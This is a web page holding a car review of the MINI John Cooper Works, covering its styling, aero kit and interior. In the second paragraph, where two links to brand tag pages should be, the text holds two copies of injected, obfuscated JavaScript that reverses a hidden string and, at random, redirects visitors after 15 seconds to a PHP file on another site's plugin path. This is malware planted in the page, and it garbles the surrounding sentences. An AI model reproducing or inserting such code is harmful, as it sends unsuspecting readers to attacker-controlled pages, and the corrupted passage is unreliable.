MINI John Cooper Works. REVIEW. Dubai, UAE

The new John Cooper Works seeks to emphasise the MINI’s dynamic capabilities. This model is at the top of the company tree, given that tuning and race-inspired tweaks to both the engine and setup have come from MINI’s performance arm, John Cooper Works

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The MINI Cooper may look a dark horse amidst the region’s sea of white SUVs and luxury saloon cars, but makes up for its diminutive status with one key sale-friendly facet: character. Some 12 years after the brand’s re-invention at the hands of $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/bmw/” target=”_blank”>BMW, this has been proven a big pull for $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/mini/” target=”_blank”>MINI in the Middle East. That plus go-kart-like handling, superb balance and a nippy little engine.

Decked in Midnight Black Metallic paint and with a red roof (though there are more options), our JCW test car is quite the looker. Even though the traditional circular headlamps and gaping front grille can be seen smiling back at us, there’s a more malevolent look to the cheeky hatchback thanks to the John Cooper Works Aerodynamic Kit: extended wheel arches and front splitter (so watch out for the kerbs), proportionally sizeable 17-inch light alloys, and a roof lip rear spoiler.

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The now familiar interior is largely unchanged, albeit now clad in Carbon Black and with JCW emblems on the new Recaro sports seats. The centre-console mounted speedometer remains a novel, and likeable, feature of the cabin, as do the switches in place of buttons for the windows, central locking and air conditioning. The infusion of an infotainment screen into the middle of the centred speedometer means there’s now less compulsion to use it, given that a digital readout is provided on the circular instrument panel mounted on the steering column. But to me the cabin wouldn’t look the same without it.

There are issues on the inside though. The sheer amount of instruments available on the centre cluster does make tracking everything down a bit tricky at first, and my bear-like mitts are not accustomed to using the small rotary dial down by the handbrake that controls the infotainment system.

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